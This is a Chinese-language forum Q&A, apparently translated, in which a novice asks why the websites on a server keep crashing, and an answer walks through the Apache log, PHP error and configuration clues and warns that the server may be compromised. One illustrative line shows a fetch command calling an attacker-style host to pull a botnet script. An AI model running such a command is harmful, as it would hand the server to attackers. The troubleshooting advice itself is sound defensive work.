可能重复:
我的服务器被黑了 紧急求助
好吧,我是个新手。我知道如何构建和编写网站,但我不知道该如何操作服务器和服务器命令等。
我最近遇到了一个问题,我们服务器上的所有网站同时瘫痪,然后我必须进入服务器重新启动它们才能恢复。起初这很烦人,但现在它变得越来越痛苦,因为现在需要重新启动 3-4 次网站才能恢复。
我联系了主机托管支持人员,但他们没有提供太多帮助。他们只是不停地告诉我问题可能是什么,基本上告诉我我必须调查并找出原因,但这实际上是不可能的,因为我什么都不知道。
无论如何,他们认为可能的原因如下:
他们说我的 Apache 网络服务器日志中有“奇怪的日志”,错误:未找到 sh:fetch:命令。
我的 php.ini 内存限制是:256M,太高了。应该是 32M 或 64M。
服务器已达到最大客户端数,这意味着我们一次可容纳超过 150 名访客。(他们据称已“修复”此问题,但网站/服务器仍处于瘫痪状态)
我的一些 Wordpress 网站在插件中遇到了如下错误:
- PHP 警告:pack():类型 H:非法十六进制数字 G ......
- PHP 致命错误:无法使用 stdClass 类型的对象作为数组...
- PHP 致命错误:超出最大执行时间 30 秒...
- PHP 致命错误:调用未定义的函数 file_exists()...
- PHP 解析错误:语法错误,意外的“<”
我知道这太多了,但我真的束手无策,不知道现在该怎么办。如果有人能给我一些建议或给我指明正确的方向,我将不胜感激!谢谢!
哦,这是我的服务器的规格:
- 内存:2048MB
- CPU 份额:40
- 主磁盘:50GB
- 数据传输:75GB
- 端口速度:5Mbps
- 类型:Linux
答案1
我的一些想法...
- “fetch” 最简单的形式允许您从命令行发出 GET 请求。如果您在 Apache 日志中找到它,我猜它类似于 shell_exec() 函数,但 shell 不知道“fetch”是什么,因为它不存在,或者不在已知的 PATH 变量中。Apache 日志应该会向您显示试图执行它的有问题的文件是什么。查看文件,看看这个代码是否符合您的预期,或者它是否类似于“fetchhttp://hackz0r.ru/add-server-to-botnet.php“或类似的东西。这合法吗?
- 256M 相当高(128M 是当前默认值),但这实际上取决于应用程序的需求。如果您的脚本一次解析大量信息并使用 200M 来完成此操作,那么我会说 256M 正好合适(尽管您可能考虑进行优化)。实际上,该限制为单个脚本可以使用多少 RAM 设置了障碍。因此,将其设置为 256M 可能不是世界末日。
- 如果您有足够的马力,请提高您的最大客户端数量。这决定了 Apache 可以处理多少个连接。启用服务器状态并检查您的统计数据以更好地了解它所说的内容。您必须查看您的流量(需求)并查看您是否达到了限制(供应)。如果是,请提高限制。但在提高限制之前,请确保您的服务器可以处理它(CPU、RAM、网络)。
- 这些错误肯定表明出了问题。正如 ceejayoz 所说,
file_exists()
自 PHP4 以来就一直存在于核心中,因此如果它不知道该函数是什么,则要么您的 PHP 版本非常旧,要么是出了问题。执行时间达到 30 秒是 php.ini 中的一项设置,它规定了单个脚本可以运行多长时间。如果达到该限制,它将停止脚本。因此,您的应用程序中的某些内容花费了超过 30 秒的时间来完成其工作,因此命令停止了。
有可能您被黑客入侵了,但也很有可能这台服务器的设置非常糟糕。您应该查看一些监控软件,如 Nagios、WhatsUp Gold、Munin、SolarWinds 等,它们可以帮助您分析这些类型的问题。阅读您的 Apache 日志并查找可疑项目。不要依赖您的主机来做这件事。如果您不知道怎么做,那么我建议您学习如何做,或者聘请其他人为您管理服务器。